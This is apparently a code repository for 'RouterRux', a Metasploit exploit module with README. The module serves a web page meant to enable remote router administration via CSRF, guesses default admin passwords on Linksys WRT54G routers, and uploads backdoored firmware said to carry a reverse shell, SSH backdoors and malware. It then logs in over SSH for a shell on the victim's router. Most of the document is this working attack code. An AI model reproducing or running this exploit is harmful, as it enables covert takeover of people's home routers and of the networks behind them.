├── routerrux.pptx ├── README.md └── routerrux.rb /routerrux.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tdzmont/routerrux/HEAD/routerrux.pptx -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RouterRux 2 | 3 | RouterRux is a proof of concept firmware flashing exploit kit. It.. 4 | 5 | - Uses CSRF to attempt urls to enable remote admin on routers (WRT54G) 6 | - Connects into admin gui from remote and fingerprints which router it is 7 | - Uploads an appropriate backdoored custom firmware 8 | 9 | Any vulnerabilities could be used on any routers which have them to help acess firmwarwe upload. There are cases in which this can be acheived in one request without enabling remote administration. 10 | 11 | This type of attack could work against theoretical internet of things devices if they have firmware upload capability. 12 | 13 | 14 | -------------------------------------------------------------------------------- /routerrux.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'net/ssh' 9 | 10 | class Metasploit3 < Msf::Exploit::Remote 11 | Rank = NormalRanking 12 | 13 | include Msf::Exploit::Remote::HttpServer::HTML 14 | include Msf::Auxiliary::CommandShell 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'RouterRux', 19 | 'Description' => %q{ 20 | This is a hastily assembled proof of concept to illustrate the concept of flashing malicious firmware 21 | to soho routers. This module attempts to serve a page which enables remote administration 22 | on WRT54G v1-4 routers via csrf. It then flashes them with a custom backdoored firmware 23 | wish reverse shell, ssh backdoors, and malware binaries. RouterRux could easily post firmware directly in cases 24 | where that is allowed, as well as use any other router vulnerabilities to gain admin access. 25 | }, 26 | 'License' => MSF_LICENSE, 27 | 'Author' => 28 | [ 29 | 'tdz ' 30 | ], 31 | 'References' => 32 | [ 33 | [ 'URL', 'http://' ], 34 | ], 35 | 'DefaultOptions' => 36 | { 37 | 'ExitFunction' => "none" 38 | }, 39 | 'Payload' => 40 | { 41 | 'Compat' => { 42 | 'PayloadType' => 'cmd_interact', 43 | 'ConnectionType' => 'find' 44 | } 45 | }, 46 | 'Platform' => 'unix', 47 | 'Arch' => ARCH_CMD, 48 | 'Targets' => 49 | [ 50 | ['WRT', {}], 51 | ], 52 | 'Privileged' => true, 53 | 'DisclosureDate' => "Oct 27 2015", 54 | 'DefaultTarget' => 0)) 55 | 56 | register_options( 57 | [ 58 | OptInt.new('MGMT_PORT', [ false, 'The port to enable remote management', 8080]), 59 | ], self.class 60 | ) 61 | 62 | register_advanced_options( 63 | [ 64 | OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), 65 | OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 15]) 66 | 67 | ] 68 | ) 69 | end 70 | 71 | def passwords 72 | passwords = ["password"] 73 | end 74 | 75 | 76 | 77 | def detect_wrt54g(rhost, user, pass) 78 | uri = "/Status_Router.asp" 79 | cli = Rex::Proto::Http::Client.new(rhost,datastore['MGMT_PORT']) 80 | cli.connect 81 | auth_str = Rex::Text.encode_base64("#{user}:#{pass}") 82 | auth = "Basic #{auth_str}" 83 | req = cli.request_cgi({'uri'=> uri,'authorization' => auth}) 84 | print_status("Request sent..."); 85 | res = cli.send_recv(req) 86 | cli.close 87 | if res.nil? 88 | print_error("Failed reading router!") 89 | return nil, nil 90 | end 91 | if(res.code == 401) 92 | print_error("Incorrect user and pass!") 93 | return nil, nil 94 | end 95 | # Extract banner from response 96 | header_server = res.headers['Server'] 97 | print_status("Fingerprint Server: #{header_server}") 98 | # Extract version from body #v2.02.7 99 | version = nil 100 | version_str = res.body.match(/>WRT54G<.*v(\d)\.\d+\.\d+/m) 101 | version = Regexp.last_match(1) 102 | if not version.nil? 103 | return true,version 104 | end 105 | return nil,nil 106 | end 107 | 108 | def upload_wrt54g(rhost,firmware,user,pass) 109 | uri = "/upgrade.cgi" 110 | cli = Rex::Proto::Http::Client.new(rhost,datastore['MGMT_PORT']) 111 | cli.connect 112 | data = Rex::MIME::Message.new 113 | data.bound = "---------------------------7df26f121b105da" 114 | data.add_part("Upgrade", nil, nil, 'form-data; name="submit_button"') 115 | data.add_part("\r\n", nil, nil, 'form-data; name="change_action"') 116 | data.add_part("\r\n", nil, nil, 'form-data; name="action"') 117 | data.add_part("", nil, nil, 'form-data; name="process"') 118 | data_post = data.to_s 119 | #add the firmware binary 120 | data_post = data_post[0..data_post.length-data.bound.length-7] 121 | data_post << "\r\n--#{data.bound}" 122 | data_post << "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"openwrt.bin\"\r\n" 123 | data_post << "Content-Type: application/octet-stream\r\n\r\n" 124 | data_post << firmware 125 | data_post << "\r\n--#{data.bound}--\r\n\r\n" 126 | data_post = data_post.gsub(/^\r\n\-\-\-\-/, '----') 127 | auth_str = Rex::Text.encode_base64("#{user}:#{pass}") 128 | auth = "Basic #{auth_str}" 129 | 130 | req = cli.request_cgi({ 131 | 'method' => 'POST', 132 | 'uri' => uri, 133 | 'authorization' => auth, 134 | 'ctype' => "multipart/form-data; boundary=#{data.bound}", 135 | 'headers' => {"Referer" => "http://192.168.0.1/Upgrade.asp","Accept-Encoding" => "gzip, deflate", "Connection" => "Keep-Alive", 136 | "Accept" => "text/html, application/xhtml+xml, */*","Accept-Language" => "en-US"}, 137 | 'data' => data_post 138 | }) 139 | res = cli.send_recv(req) 140 | print_status("Request recv"); 141 | cli.close 142 | end 143 | 144 | 145 | 146 | def fingerprint(rhost) 147 | rtype = nil 148 | #check for wrt54g 149 | passwords.each do |pass| 150 | print_status("Trying wrt54g with admin #{pass}") 151 | wrt54g,version = detect_wrt54g(rhost, "admin", pass) 152 | if (wrt54g) 153 | rtype="wrt54g" 154 | print_status("Found Router: #{rtype} #{version}") 155 | if (version.to_i < 5) 156 | return rtype,pass 157 | else 158 | return nil,nil 159 | end 160 | end 161 | end 162 | return nil,nil 163 | end 164 | 165 | def on_request_uri(cli, request) 166 | #would want to enumerate users also, but admin is fine for poc 167 | user = "admin" 168 | 169 | print_status("Request from: #{cli.peerhost}") 170 | ip=cli.peerhost 171 | print_status("Sending page to enable remote mgmt") 172 | # Build out the message 173 | content = %Q| 174 | 175 | 176 | This could say anything, or be blank, or whatever. 177 | 178 | 230 | Some Social Engineering Junk or just nothing 231 | | 232 | # Send requests enabling remote admin. 233 | send_response_html(cli, content) 234 | 235 | print_status("Waiting...") 236 | sleep(5) 237 | print_status("Attempting fingerprint") 238 | 239 | rtype = nil 240 | pass = nil 241 | rtype,pass = fingerprint(ip) 242 | 243 | if not rtype.nil? 244 | print_status("Found a #{rtype}") 245 | #upload firmware 246 | print_status("Sending firmware.") 247 | firmpath = nil 248 | if (rtype == "wrt54g") 249 | firmpath = File.join( Msf::Config.data_directory, "exploits","routerrux","openwrt-wrt54g.bin") 250 | fd = File.open( firmpath, "rb" ) 251 | @firmware = fd.read(fd.stat.size) 252 | fd.close 253 | upload_wrt54g(ip,@firmware,user,pass) 254 | end 255 | end 256 | print_status("Sleeping for flash") 257 | sleep(120) 258 | 259 | conn = nil 260 | for i in 0..10 261 | if not conn.nil? then 262 | break 263 | end 264 | conn = do_login(ip, "linksys", "admin") 265 | 266 | if conn 267 | print_good("#{ip} - Login Successful with linksys/admin") 268 | handler(conn.lsock) 269 | end 270 | sleep(10) 271 | end 272 | end 273 | 274 | def do_login(ip, user, pass) 275 | print_status("Attempting SSH") 276 | opts = { 277 | :auth_methods => ['password', 'keyboard-interactive'], 278 | :msframework => framework, 279 | :msfmodule => self, 280 | :port => 22, 281 | :disable_agent => true, 282 | :config => true, 283 | :password => pass, 284 | :record_auth_info => true, 285 | :proxies => datastore['Proxies'] 286 | } 287 | opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] 288 | begin 289 | ssh = nil 290 | ::Timeout.timeout(datastore['SSH_TIMEOUT']) do 291 | ssh = Net::SSH.start(ip, user, opts) 292 | end 293 | rescue Rex::ConnectionError 294 | return nil 295 | rescue Net::SSH::Disconnect, ::EOFError 296 | print_error "#{ip}:#{port} SSH - Disconnected during negotiation" 297 | return nil 298 | rescue ::Timeout::Error 299 | print_error "#{ip}:#{port} SSH - Timed out during negotiation" 300 | return nil 301 | rescue Net::SSH::AuthenticationFailed 302 | print_error "#{ip}:#{port} SSH - Failed authentication" 303 | return nil 304 | rescue Net::SSH::Exception => e 305 | print_error "#{ip}:#{port} SSH Error: #{e.class} : #{e.message}" 306 | return nil 307 | end 308 | 309 | if ssh 310 | conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true) 311 | return conn 312 | end 313 | 314 | return nil 315 | end 316 | 317 | 318 | 319 | end 320 | --------------------------------------------------------------------------------